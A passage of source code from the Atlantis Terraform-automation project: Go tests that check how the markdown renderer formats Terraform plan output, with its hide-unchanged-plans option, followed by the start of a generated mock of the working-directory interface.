{\n\t\t\tctx := &command.Context{\n\t\t\t\tLog: logger,\n\t\t\t\tPull: models.PullRequest{\n\t\t\t\t\tBaseRepo: models.Repo{\n\t\t\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\t\t\tType: c.VCSHost,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\t\t\tres := command.Result{\n\t\t\t\tProjectResults: c.ProjectResults,\n\t\t\t}\n\t\t\tfor _, verbose := range []bool{true, false} {\n\t\t\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\t\t\tcmd := &events.CommentCommand{\n\t\t\t\t\t\tName:    c.Command,\n\t\t\t\t\t\tVerbose: verbose,\n\t\t\t\t\t}\n\t\t\t\t\ts := r.Render(ctx, res, cmd)\n\t\t\t\t\tif !verbose {\n\t\t\t\t\t\tEquals(t, normalize(c.Expected), normalize(s))\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlog := fmt.Sprintf(\"[INFO] %s\", logText)\n\t\t\t\t\t\tEquals(t, normalize(c.Expected)+\n\t\t\t\t\t\t\tfmt.Sprintf(\"\\n<details><summary>Log</summary>\\n<p>\\n\\n```\\n%s\\n```\\n</p></details>\", log), normalize(s))\n\t\t\t\t\t}\n\t\t\t\t})\n\t\t\t}\n\t\t})\n\t}\n}\n\nconst tfOutput = `\nAn execution plan has been generated and is shown below.\nResource actions are indicated with the following symbols:\n~ update in-place\n-/+ destroy and then create replacement\n\nTerraform will perform the following actions:\n\n  # module.redacted.aws_instance.redacted must be replaced\n-/+ resource \"aws_instance\" \"redacted\" {\n      ~ ami                          = \"ami-redacted\" -> \"ami-redacted\" # forces replacement\n      ~ arn                          = \"arn:aws:ec2:us-east-1:redacted:instance/i-redacted\" -> (known after apply)\n      ~ associate_public_ip_address  = false -> (known after apply)\n        availability_zone            = \"us-east-1b\"\n      ~ cpu_core_count               = 4 -> (known after apply)\n      ~ cpu_threads_per_core         = 2 -> (known after apply)\n      - disable_api_termination      = false -> null\n      - ebs_optimized                = false -> null\n        get_password_data            = false\n      - hibernation                  = false -> null\n      + host_id                      = (known after apply)\n        iam_instance_profile         = \"remote_redacted_profile\"\n      ~ id                           = \"i-redacted\" -> (known after apply)\n      ~ instance_state               = \"running\" -> (known after apply)\n        instance_type                = \"c5.2xlarge\"\n      ~ ipv6_address_count           = 0 -> (known after apply)\n      ~ ipv6_addresses               = [] -> (known after apply)\n        key_name                     = \"RedactedRedactedRedacted\"\n      - monitoring                   = false -> null\n      + outpost_arn                  = (known after apply)\n      + password_data                = (known after apply)\n      + placement_group              = (known after apply)\n      ~ primary_network_interface_id = \"eni-redacted\" -> (known after apply)\n      ~ private_dns                  = \"ip-redacted.ec2.internal\" -> (known after apply)\n      ~ private_ip                   = \"redacted\" -> (known after apply)\n      + public_dns                   = (known after apply)\n      + public_ip                    = (known after apply)\n      ~ secondary_private_ips        = [] -> (known after apply)\n      ~ security_groups              = [] -> (known after apply)\n        source_dest_check            = true\n        subnet_id                    = \"subnet-redacted\"\n        tags                         = {\n            \"Name\" = \"redacted-redacted\"\n        }\n      ~ tenancy                      = \"default\" -> (known after apply)\n        user_data                    = \"redacted\"\n      ~ volume_tags                  = {} -> (known after apply)\n        vpc_security_group_ids       = [\n            \"sg-redactedsecuritygroup\",\n        ]\n\n      + ebs_block_device {\n          + delete_on_termination = (known after apply)\n          + device_name           = (known after apply)\n          + encrypted             = (known after apply)\n          + iops                  = (known after apply)\n          + kms_key_id            = (known after apply)\n          + snapshot_id           = (known after apply)\n          + volume_id             = (known after apply)\n          + volume_size           = (known after apply)\n          + volume_type           = (known after apply)\n        }\n\n      + ephemeral_block_device {\n          + device_name  = (known after apply)\n          + no_device    = (known after apply)\n          + virtual_name = (known after apply)\n        }\n\n      ~ metadata_options {\n          ~ http_endpoint               = \"enabled\" -> (known after apply)\n          ~ http_put_response_hop_limit = 1 -> (known after apply)\n          ~ http_tokens                 = \"optional\" -> (known after apply)\n        }\n\n      + network_interface {\n          + delete_on_termination = (known after apply)\n          + device_index          = (known after apply)\n          + network_interface_id  = (known after apply)\n        }\n\n      ~ root_block_device {\n          ~ delete_on_termination = true -> (known after apply)\n          ~ device_name           = \"/dev/sda1\" -> (known after apply)\n          ~ encrypted             = false -> (known after apply)\n          ~ iops                  = 600 -> (known after apply)\n          + kms_key_id            = (known after apply)\n          ~ volume_id             = \"vol-redacted\" -> (known after apply)\n          ~ volume_size           = 200 -> (known after apply)\n          ~ volume_type           = \"gp2\" -> (known after apply)\n        }\n    }\n\n  # module.redacted.aws_route53_record.redacted_record will be updated in-place\n~ resource \"aws_route53_record\" \"redacted_record\" {\n        fqdn    = \"redacted.redacted.redacted.io\"\n        id      = \"redacted_redacted.redacted.redacted.io_A\"\n        name    = \"redacted.redacted.redacted.io\"\n      ~ records = [\n            \"foo\",\n          - \"redacted\",\n        ] -> (known after apply)\n        ttl     = 300\n        type    = \"A\"\n        zone_id = \"redacted\"\n    }\n\n  # module.redacted.aws_route53_record.redacted_record_2 will be created\n+ resource \"aws_route53_record\" \"redacted_record\" {\n      + fqdn    = \"redacted.redacted.redacted.io\"\n      + id      = \"redacted_redacted.redacted.redacted.io_A\"\n      + name    = \"redacted.redacted.redacted.io\"\n      + records = [\n            \"foo\",\n        ]\n      + ttl     = 300\n      + type    = \"A\"\n      + zone_id = \"redacted\"\n    }\n\n# helm_release.external_dns[0] will be updated in-place\n~ resource \"helm_release\" \"external_dns\" {\n      id                         = \"external-dns\"\n      name                       = \"external-dns\"\n    ~ values                     = [\n        - <<-EOT\n            image:\n              tag: \"0.12.0\"\n              pullSecrets:\n              - XXXXX\n\n            domainFilters: [\"xxxxx\",\"xxxxx\"]\n            base64:\n              +dGhpcyBpcyBzb21lIHN0cmluZyBvciBzb21ldGhpbmcKCg==\n          EOT,\n        + <<-EOT\n            image:\n              tag: \"0.12.0\"\n              pullSecrets:\n              - XXXXX\n\n            domainFilters: [\"xxxxx\",\"xxxxx\"]\n            base64:\n              +dGhpcyBpcyBzb21lIHN0cmluZyBvciBzb21ldGhpbmcKCg==\n          EOT,\n      ]\n    }\n\n# aws_api_gateway_rest_api.rest_api will be updated in-place\n~ resource \"aws_api_gateway_rest_api\" \"rest_api\" {\n    ~ body                         = <<-EOT\n          openapi: 3.0.0\n          security:\n            - SomeAuth: []\n          paths:\n            /someEndpoint:\n              get:\n        -       operationId: someOperation\n        +       operationId: someOperation2\n                responses:\n                  204:\n                    description: Empty response.\n          components:\n            schemas:\n              SomeEnum:\n                type: string\n                enum:\n                  - value1\n                  - value2\n            securitySchemes:\n              SomeAuth:\n                type: apiKey\n                in: header\n                name: Authorization\n      EOT\n      id                           = \"4i5suz5c4l\"\n      name                         = \"test\"\n      tags                         = {}\n      # (9 unchanged attributes hidden)\n      # (1 unchanged block hidden)\n  }\n\nPlan: 1 to add, 2 to change, 1 to destroy.\n`\n\nvar cases = []struct {\n\tDescription    string\n\tCommand        command.Name\n\tProjectResults []command.ProjectResult\n\tVCSHost        models.VCSHostType\n\tExpected       string\n}{\n\t{\n\t\t\"single successful plan with diff markdown formatted\",\n\t\tcommand.Plan,\n\t\t[]command.ProjectResult{\n\t\t\t{\n\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\tTerraformOutput: tfOutput,\n\t\t\t\t\t\tLockURL:         \"lock-url\",\n\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\tRepoRelDir: \"path\",\n\t\t\t},\n\t\t},\n\t\tmodels.Github,\n\t\t`\nRan Plan for dir: $path$ workspace: $workspace$\n\n<details><summary>Show Output</summary>\n\n$$$diff\nAn execution plan has been generated and is shown below.\nResource actions are indicated with the following symbols:\n! update in-place\n-/+ destroy and then create replacement\n\nTerraform will perform the following actions:\n\n  # module.redacted.aws_instance.redacted must be replaced\n-/+ resource \"aws_instance\" \"redacted\" {\n!       ami                          = \"ami-redacted\" -> \"ami-redacted\" # forces replacement\n!       arn                          = \"arn:aws:ec2:us-east-1:redacted:instance/i-redacted\" -> (known after apply)\n!       associate_public_ip_address  = false -> (known after apply)\n        availability_zone            = \"us-east-1b\"\n!       cpu_core_count               = 4 -> (known after apply)\n!       cpu_threads_per_core         = 2 -> (known after apply)\n-       disable_api_termination      = false -> null\n-       ebs_optimized                = false -> null\n        get_password_data            = false\n-       hibernation                  = false -> null\n+       host_id                      = (known after apply)\n        iam_instance_profile         = \"remote_redacted_profile\"\n!       id                           = \"i-redacted\" -> (known after apply)\n!       instance_state               = \"running\" -> (known after apply)\n        instance_type                = \"c5.2xlarge\"\n!       ipv6_address_count           = 0 -> (known after apply)\n!       ipv6_addresses               = [] -> (known after apply)\n        key_name                     = \"RedactedRedactedRedacted\"\n-       monitoring                   = false -> null\n+       outpost_arn                  = (known after apply)\n+       password_data                = (known after apply)\n+       placement_group              = (known after apply)\n!       primary_network_interface_id = \"eni-redacted\" -> (known after apply)\n!       private_dns                  = \"ip-redacted.ec2.internal\" -> (known after apply)\n!       private_ip                   = \"redacted\" -> (known after apply)\n+       public_dns                   = (known after apply)\n+       public_ip                    = (known after apply)\n!       secondary_private_ips        = [] -> (known after apply)\n!       security_groups              = [] -> (known after apply)\n        source_dest_check            = true\n        subnet_id                    = \"subnet-redacted\"\n        tags                         = {\n            \"Name\" = \"redacted-redacted\"\n        }\n!       tenancy                      = \"default\" -> (known after apply)\n        user_data                    = \"redacted\"\n!       volume_tags                  = {} -> (known after apply)\n        vpc_security_group_ids       = [\n            \"sg-redactedsecuritygroup\",\n        ]\n\n+       ebs_block_device {\n+           delete_on_termination = (known after apply)\n+           device_name           = (known after apply)\n+           encrypted             = (known after apply)\n+           iops                  = (known after apply)\n+           kms_key_id            = (known after apply)\n+           snapshot_id           = (known after apply)\n+           volume_id             = (known after apply)\n+           volume_size           = (known after apply)\n+           volume_type           = (known after apply)\n        }\n\n+       ephemeral_block_device {\n+           device_name  = (known after apply)\n+           no_device    = (known after apply)\n+           virtual_name = (known after apply)\n        }\n\n!       metadata_options {\n!           http_endpoint               = \"enabled\" -> (known after apply)\n!           http_put_response_hop_limit = 1 -> (known after apply)\n!           http_tokens                 = \"optional\" -> (known after apply)\n        }\n\n+       network_interface {\n+           delete_on_termination = (known after apply)\n+           device_index          = (known after apply)\n+           network_interface_id  = (known after apply)\n        }\n\n!       root_block_device {\n!           delete_on_termination = true -> (known after apply)\n!           device_name           = \"/dev/sda1\" -> (known after apply)\n!           encrypted             = false -> (known after apply)\n!           iops                  = 600 -> (known after apply)\n+           kms_key_id            = (known after apply)\n!           volume_id             = \"vol-redacted\" -> (known after apply)\n!           volume_size           = 200 -> (known after apply)\n!           volume_type           = \"gp2\" -> (known after apply)\n        }\n    }\n\n  # module.redacted.aws_route53_record.redacted_record will be updated in-place\n! resource \"aws_route53_record\" \"redacted_record\" {\n        fqdn    = \"redacted.redacted.redacted.io\"\n        id      = \"redacted_redacted.redacted.redacted.io_A\"\n        name    = \"redacted.redacted.redacted.io\"\n!       records = [\n            \"foo\",\n-           \"redacted\",\n        ] -> (known after apply)\n        ttl     = 300\n        type    = \"A\"\n        zone_id = \"redacted\"\n    }\n\n  # module.redacted.aws_route53_record.redacted_record_2 will be created\n+ resource \"aws_route53_record\" \"redacted_record\" {\n+       fqdn    = \"redacted.redacted.redacted.io\"\n+       id      = \"redacted_redacted.redacted.redacted.io_A\"\n+       name    = \"redacted.redacted.redacted.io\"\n+       records = [\n            \"foo\",\n        ]\n+       ttl     = 300\n+       type    = \"A\"\n+       zone_id = \"redacted\"\n    }\n\n# helm_release.external_dns[0] will be updated in-place\n! resource \"helm_release\" \"external_dns\" {\n      id                         = \"external-dns\"\n      name                       = \"external-dns\"\n!     values                     = [\n-         <<-EOT\n            image:\n              tag: \"0.12.0\"\n              pullSecrets:\n              - XXXXX\n\n            domainFilters: [\"xxxxx\",\"xxxxx\"]\n            base64:\n              +dGhpcyBpcyBzb21lIHN0cmluZyBvciBzb21ldGhpbmcKCg==\n          EOT,\n+         <<-EOT\n            image:\n              tag: \"0.12.0\"\n              pullSecrets:\n              - XXXXX\n\n            domainFilters: [\"xxxxx\",\"xxxxx\"]\n            base64:\n              +dGhpcyBpcyBzb21lIHN0cmluZyBvciBzb21ldGhpbmcKCg==\n          EOT,\n      ]\n    }\n\n# aws_api_gateway_rest_api.rest_api will be updated in-place\n! resource \"aws_api_gateway_rest_api\" \"rest_api\" {\n!     body                         = <<-EOT\n          openapi: 3.0.0\n          security:\n            - SomeAuth: []\n          paths:\n            /someEndpoint:\n              get:\n-               operationId: someOperation\n+               operationId: someOperation2\n                responses:\n                  204:\n                    description: Empty response.\n          components:\n            schemas:\n              SomeEnum:\n                type: string\n                enum:\n                  - value1\n                  - value2\n            securitySchemes:\n              SomeAuth:\n                type: apiKey\n                in: header\n                name: Authorization\n      EOT\n      id                           = \"4i5suz5c4l\"\n      name                         = \"test\"\n      tags                         = {}\n      # (9 unchanged attributes hidden)\n      # (1 unchanged block hidden)\n  }\n\nPlan: 1 to add, 2 to change, 1 to destroy.\n$$$\n</details>\n\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\nPlan: 1 to add, 2 to change, 1 to destroy.\n`,\n\t},\n}\n\nfunc TestRenderProjectResultsWithEnableDiffMarkdownFormat(t *testing.T) {\n\tr := events.NewMarkdownRenderer(\n\t\tfalse,      // gitlabSupportsCommonMark\n\t\ttrue,       // disableApplyAll\n\t\ttrue,       // disableApply\n\t\tfalse,      // disableMarkdownFolding\n\t\tfalse,      // disableRepoLocking\n\t\ttrue,       // enableDiffMarkdownFormat\n\t\t\"\",         // markdownTemplateOverridesDir\n\t\t\"atlantis\", // executableName\n\t\tfalse,      // hideUnchangedPlanComments\n\t\tfalse,      // quietPolicyChecks\n\t)\n\tlogger := logging.NewNoopLogger(t).WithHistory()\n\tlogText := \"log\"\n\tlogger.Info(logText)\n\n\tfor _, c := range cases {\n\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\tctx := &command.Context{\n\t\t\t\tLog: logger,\n\t\t\t\tPull: models.PullRequest{\n\t\t\t\t\tBaseRepo: models.Repo{\n\t\t\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\t\t\tType: models.Github,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\t\t\tres := command.Result{\n\t\t\t\tProjectResults: c.ProjectResults,\n\t\t\t}\n\t\t\tfor _, verbose := range []bool{true, false} {\n\t\t\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\t\t\tcmd := &events.CommentCommand{\n\t\t\t\t\t\tName:    c.Command,\n\t\t\t\t\t\tVerbose: verbose,\n\t\t\t\t\t}\n\t\t\t\t\ts := r.Render(ctx, res, cmd)\n\t\t\t\t\tif !verbose {\n\t\t\t\t\t\tEquals(t, normalize(c.Expected), normalize(s))\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlog := fmt.Sprintf(\"[INFO] %s\", logText)\n\t\t\t\t\t\tEquals(t, normalize(c.Expected)+\n\t\t\t\t\t\t\tfmt.Sprintf(\"\\n<details><summary>Log</summary>\\n<p>\\n\\n```\\n%s\\n```\\n</p></details>\", log), normalize(s))\n\t\t\t\t\t}\n\t\t\t\t})\n\t\t\t}\n\t\t})\n\t}\n}\n\nvar Render string\n\nfunc BenchmarkRenderProjectResultsWithEnableDiffMarkdownFormat(b *testing.B) {\n\tvar render string\n\n\tr := events.NewMarkdownRenderer(\n\t\tfalse,      // gitlabSupportsCommonMark\n\t\ttrue,       // disableApplyAll\n\t\ttrue,       // disableApply\n\t\tfalse,      // disableMarkdownFolding\n\t\tfalse,      // disableRepoLocking\n\t\ttrue,       // enableDiffMarkdownFormat\n\t\t\"\",         // markdownTemplateOverridesDir\n\t\t\"atlantis\", // executableName\n\t\tfalse,      // hideUnchangedPlanComments\n\t\tfalse,      // quietPolicyChecks\n\t)\n\tlogger := logging.NewNoopLogger(b).WithHistory()\n\tlogText := \"log\"\n\tlogger.Info(logText)\n\n\tfor _, c := range cases {\n\t\tb.Run(c.Description, func(b *testing.B) {\n\t\t\tctx := &command.Context{\n\t\t\t\tLog: logger,\n\t\t\t\tPull: models.PullRequest{\n\t\t\t\t\tBaseRepo: models.Repo{\n\t\t\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\t\t\tType: c.VCSHost,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\t\t\tres := command.Result{\n\t\t\t\tProjectResults: c.ProjectResults,\n\t\t\t}\n\t\t\tfor _, verbose := range []bool{true, false} {\n\t\t\t\tb.Run(fmt.Sprintf(\"verbose %t\", verbose), func(b *testing.B) {\n\t\t\t\t\tcmd := &events.CommentCommand{\n\t\t\t\t\t\tName:    c.Command,\n\t\t\t\t\t\tVerbose: verbose,\n\t\t\t\t\t}\n\t\t\t\t\tb.ReportAllocs()\n\t\t\t\t\tfor i := 0; i < b.N; i++ {\n\t\t\t\t\t\trender = r.Render(ctx, res, cmd)\n\t\t\t\t\t}\n\t\t\t\t\tRender = render\n\t\t\t\t})\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestRenderProjectResultsHideUnchangedPlans(t *testing.T) {\n\tcases := []struct {\n\t\tDescription    string\n\t\tCommand        command.Name\n\t\tSubCommand     string\n\t\tProjectResults []command.ProjectResult\n\t\tVCSHost        models.VCSHostType\n\t\tExpected       string\n\t}{\n\t\t{\n\t\t\t\"multiple successful plans, hide unchanged plans\",\n\t\t\tcommand.Plan,\n\t\t\t\"\",\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\tTerraformOutput: \"terraform-output\",\n\t\t\t\t\t\t\tLockURL:         \"lock-url\",\n\t\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tRepoRelDir:  \"path2\",\n\t\t\t\t\tProjectName: \"projectname\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\tTerraformOutput: \"No changes. Infrastructure is up-to-date.\",\n\t\t\t\t\t\t\tLockURL:         \"lock-url2\",\n\t\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path2 -w workspace\",\n\t\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path2 -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tRepoRelDir:  \"path3\",\n\t\t\t\t\tProjectName: \"projectname2\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\tTerraformOutput: \"terraform-output3\",\n\t\t\t\t\t\t\tLockURL:         \"lock-url3\",\n\t\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path3 -w workspace\",\n\t\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path3 -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Plan for 3 projects:\n\n1. dir: $path$ workspace: $workspace$\n1. project: $projectname$ dir: $path2$ workspace: $workspace$\n1. project: $projectname2$ dir: $path3$ workspace: $workspace$\n---\n\n### 1. dir: $path$ workspace: $workspace$\n$$$diff\nterraform-output\n$$$\n\n* :arrow_forward: To **apply** this plan, comment:\n  $$$shell\n  atlantis apply -d path -w workspace\n  $$$\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  atlantis plan -d path -w workspace\n  $$$\n\n---\n### 3. project: $projectname2$ dir: $path3$ workspace: $workspace$\n$$$diff\nterraform-output3\n$$$\n\n* :arrow_forward: To **apply** this plan, comment:\n  $$$shell\n  atlantis apply -d path3 -w workspace\n  $$$\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url3)\n* :repeat: To **plan** this project again, comment:\n  $$$shell\n  atlantis plan -d path3 -w workspace\n  $$$\n\n---\n### Plan Summary\n\n3 projects, 2 with changes, 1 with no changes, 0 failed\n\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  $$$shell\n  atlantis apply\n  $$$\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  $$$shell\n  atlantis unlock\n  $$$\n`,\n\t\t},\n\t\t{\n\t\t\t\"multiple successful plans, hide unchanged plans, all plans are unchanged\",\n\t\t\tcommand.Plan,\n\t\t\t\"\",\n\t\t\t[]command.ProjectResult{\n\t\t\t\t{\n\t\t\t\t\tWorkspace:  \"workspace\",\n\t\t\t\t\tRepoRelDir: \"path\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\tTerraformOutput: \"No changes. Infrastructure is up-to-date.\",\n\t\t\t\t\t\t\tLockURL:         \"lock-url\",\n\t\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path -w workspace\",\n\t\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tRepoRelDir:  \"path2\",\n\t\t\t\t\tProjectName: \"projectname\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\tTerraformOutput: \"No changes. Infrastructure is up-to-date.\",\n\t\t\t\t\t\t\tLockURL:         \"lock-url2\",\n\t\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path2 -w workspace\",\n\t\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path2 -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tWorkspace:   \"workspace\",\n\t\t\t\t\tRepoRelDir:  \"path3\",\n\t\t\t\t\tProjectName: \"projectname2\",\n\t\t\t\t\tProjectCommandOutput: command.ProjectCommandOutput{\n\t\t\t\t\t\tPlanSuccess: &models.PlanSuccess{\n\t\t\t\t\t\t\tTerraformOutput: \"No changes. Infrastructure is up-to-date.\",\n\t\t\t\t\t\t\tLockURL:         \"lock-url3\",\n\t\t\t\t\t\t\tApplyCmd:        \"atlantis apply -d path3 -w workspace\",\n\t\t\t\t\t\t\tRePlanCmd:       \"atlantis plan -d path3 -w workspace\",\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\tmodels.Github,\n\t\t\t`\nRan Plan for 3 projects:\n\n1. dir: $path$ workspace: $workspace$\n1. project: $projectname$ dir: $path2$ workspace: $workspace$\n1. project: $projectname2$ dir: $path3$ workspace: $workspace$\n---\n\n### Plan Summary\n\n3 projects, 0 with changes, 3 with no changes, 0 failed\n\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  $$$shell\n  atlantis apply\n  $$$\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  $$$shell\n  atlantis unlock\n  $$$\n`,\n\t\t},\n\t}\n\n\tr := events.NewMarkdownRenderer(\n\t\tfalse,      // gitlabSupportsCommonMark\n\t\tfalse,      // disableApplyAll\n\t\tfalse,      // disableApply\n\t\tfalse,      // disableMarkdownFolding\n\t\tfalse,      // disableRepoLocking\n\t\tfalse,      // enableDiffMarkdownFormat\n\t\t\"\",         // markdownTemplateOverridesDir\n\t\t\"atlantis\", // executableName\n\t\ttrue,       // hideUnchangedPlanComments\n\t\tfalse,      // quietPolicyChecks\n\t)\n\tlogger := logging.NewNoopLogger(t).WithHistory()\n\tlogText := \"log\"\n\tlogger.Info(logText)\n\n\tfor _, c := range cases {\n\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\tctx := &command.Context{\n\t\t\t\tLog: logger,\n\t\t\t\tPull: models.PullRequest{\n\t\t\t\t\tBaseRepo: models.Repo{\n\t\t\t\t\t\tVCSHost: models.VCSHost{\n\t\t\t\t\t\t\tType: c.VCSHost,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t}\n\t\t\tres := command.Result{\n\t\t\t\tProjectResults: c.ProjectResults,\n\t\t\t}\n\t\t\tfor _, verbose := range []bool{true, false} {\n\t\t\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\t\t\tcmd := &events.CommentCommand{\n\t\t\t\t\t\tName:    c.Command,\n\t\t\t\t\t\tSubName: c.SubCommand,\n\t\t\t\t\t\tVerbose: verbose,\n\t\t\t\t\t}\n\t\t\t\t\ts := r.Render(ctx, res, cmd)\n\t\t\t\t\tif !verbose {\n\t\t\t\t\t\tEquals(t, normalize(c.Expected), normalize(s))\n\t\t\t\t\t} else {\n\t\t\t\t\t\tlog := fmt.Sprintf(\"[INFO] %s\", logText)\n\t\t\t\t\t\tEquals(t, normalize(c.Expected)+\n\t\t\t\t\t\t\tfmt.Sprintf(\"\\n<details><summary>Log</summary>\\n<p>\\n\\n```\\n%s\\n```\\n</p></details>\", log), normalize(s))\n\t\t\t\t\t}\n\t\t\t\t})\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/events/mock_workingdir_test.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events (interfaces: WorkingDir)\n\npackage events\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tmodels \"github.com/runatlantis/atlantis/server/events/models\"\n\tlogging \"github.com/runatlantis/atlantis/server/logging\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockWorkingDir struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockWorkingDir(options ...pegomock.Option) *MockWorkingDir {\n\tmock := &MockWorkingDir{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockWorkingDir) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockWorkingDir) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockWorkingDir) Clone(logger logging.SimpleLogging, headRepo models.Repo, p models.PullRequest, workspace string) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockWorkingDir().\")\n\t}\n\t_params := []pegomock.Param{logger, headRepo, p, workspace}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Clone\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockWorkingDir) Delete(logger logging.SimpleLogging, r models.Repo, p models.PullRequest) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockWorkingDir().\")\n\t}\n\t_params := []pegomock.Param{logger, r, p}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Delete\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockWorkingDir) DeleteForWorkspace(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockWorkingDir().\")\n\t}\n\t_params := []pegomock.Param{logger, r, p, workspace}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"DeleteForWorkspace\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockWorkingDir) DeletePlan(logger logging.SimpleLogging, r models.Repo, p models.PullRequest, workspace string, path string, projectName string) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockWorkingDir().\")\n\t}\n\t_params := []pegomock.Param{logger, r, p, workspace, path, projectName}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"DeletePlan\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 